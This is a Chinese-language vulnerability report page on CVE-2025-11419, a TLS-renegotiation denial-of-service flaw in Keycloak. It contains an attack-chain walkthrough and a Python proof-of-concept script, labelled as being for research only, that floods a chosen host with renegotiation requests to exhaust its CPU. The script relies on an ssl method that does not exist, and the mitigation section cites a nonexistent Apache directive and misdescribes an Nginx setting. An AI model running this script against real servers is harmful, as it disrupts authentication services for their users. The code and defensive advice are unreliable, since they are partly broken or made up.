IPBUF安全漏洞报告
English
CVE-2025-11419 CVSS 7.5 高危

CVE-2025-11419 Keycloak TLS重协商拒绝服务漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-11419
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

拒绝服务(DoS)KeycloakTLS 1.2重协商攻击身份认证服务器Red HatCVE-2025-11419高危漏洞CPU耗尽攻击企业安全

漏洞概述

CVE-2025-11419是发现于Keycloak身份认证服务器中的一个高危拒绝服务漏洞。该漏洞允许未经身份验证的远程攻击者通过反复发起TLS 1.2客户端初始化的重协商(Client-Initiated Renegotiation)请求,导致目标服务器的CPU资源被耗尽,最终使Keycloak服务变得不可用。攻击者无需任何用户凭证即可发起此攻击,这使得该漏洞具有极高的威胁性。由于Keycloak是企业级身份和访问管理解决方案,广泛应用于需要SSO(单点登录)和OAuth2/OpenID Connect支持的系统中,该漏洞可能影响到大量生产环境。攻击者可以在短时间内通过自动化工具发起大量重协商请求,使服务器陷入资源耗尽状态,影响所有依赖该Keycloak实例进行身份认证的用户和服务。CVSS 3.1评分7.5分,高可用性影响(Impact: H)表明该漏洞对服务可用性造成严重影响,属于高危级别漏洞。

技术细节

该漏洞存在于Keycloak的TLS握手处理逻辑中。在TLS 1.2协议中,客户端发起重协商(Client-Initiated Renegotiation)特性允许已建立的TLS连接在不需要重新建立完整握手的情况下启动新的握手过程。攻击者利用这一特性,向Keycloak服务器发起初始TLS连接后,立即发送大量的重协商请求。每个重协商过程都需要服务器执行计算密集型的加密操作,包括RSA签名或DH密钥交换等。攻击者通过发送数千甚至数万次重协商请求,耗尽服务器的CPU资源。由于每个重协商请求都会触发新的握手过程,服务器需要执行非对称加密运算,这些操作相对较慢且消耗资源。攻击者可以控制连接数量和重协商频率,使得服务器在短时间内达到CPU使用率上限。Keycloak作为Java应用,运行在JVM上,频繁的加密操作会导致频繁的GC(垃圾回收),进一步加剧性能下降。当服务器资源被耗尽后,正常用户的认证请求将无法得到处理,导致服务不可用。

攻击链分析

STEP 1
步骤1
攻击者识别运行Keycloak的服务器,探测其TLS端口(默认8443或443)
STEP 2
步骤2
攻击者建立初始TLS 1.2连接,绕过认证要求(PR:N)直接访问服务
STEP 3
步骤3
攻击者通过自动化脚本反复发送TLS重协商请求(Client-Initiated Renegotiation)
STEP 4
步骤4
每次重协商触发完整的TLS握手过程,服务器执行非对称加密运算消耗CPU资源
STEP 5
步骤5
大量重协商请求导致服务器CPU被耗尽,响应时间急剧增加
STEP 6
步骤6
服务器最终无法处理正常用户的认证请求,服务变得不可用,形成DoS攻击效果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-11419 PoC - Keycloak TLS Renegotiation DoS # Description: Exhaust server CPU by sending repeated TLS 1.2 renegotiation requests import socket import ssl import time import sys def create_tls_connection(host, port): """Create initial TLS 1.2 connection""" context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.minimum_version = ssl.TLSVersion.TLSv1_2 context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = socket.create_connection((host, port), timeout=10) ssock = context.wrap_socket(sock, server_hostname=host) return ssock def send_renegotiation_request(ssock): """Send TLS renegotiation request to exhaust server resources""" try: # Trigger renegotiation - this causes server to perform new handshake ssock.renegotiate() return True except Exception as e: return False def dos_attack(host, port, num_requests, delay=0.01): """Perform DoS attack via TLS renegotiation""" print(f"[*] Starting TLS Renegotiation DoS attack against {host}:{port}") print(f"[*] Target: Keycloak CVE-2025-11419") print(f"[*] Sending {num_requests} renegotiation requests...") ssock = create_tls_connection(host, port) print(f"[+] Initial TLS connection established") success_count = 0 for i in range(num_requests): if send_renegotiation_request(ssock): success_count += 1 if (i + 1) % 100 == 0: print(f"[*] Progress: {i+1}/{num_requests} requests sent") time.sleep(delay) print(f"[+] Completed: {success_count} renegotiation requests sent") ssock.close() if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <host> <port> [num_requests] [delay]") print(f"Example: {sys.argv[0]} keycloak.example.com 8443 10000 0.001") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) num_requests = int(sys.argv[3]) if len(sys.argv) > 3 else 5000 delay = float(sys.argv[4]) if len(sys.argv) > 4 else 0.01 dos_attack(host, port, num_requests, delay) print("[*] Attack completed - server CPU should be exhausted")

影响范围

Keycloak < 受影响版本(需参考官方修复版本)
Red Hat Single Sign-On 7.x系列
Keycloak Quarkus 分支版本

防御指南

临时缓解措施
在Web服务器或负载均衡器(如Nginx、Apache HTTP Server、HAProxy)层面禁用TLS客户端初始化的重协商功能。具体操作:在Nginx配置中添加'ssl_prefer_server_ciphers on;'和禁用renegotiation的配置;在Apache中可以通过SSLVerifyClient和SSLReagineLimit指令进行限制。同时配置连接速率限制和请求速率限制,防止攻击者短时间内发起大量重协商请求。对于无法立即升级的情况,建议在网络边界部署防护设备,过滤异常的TLS重协商流量模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表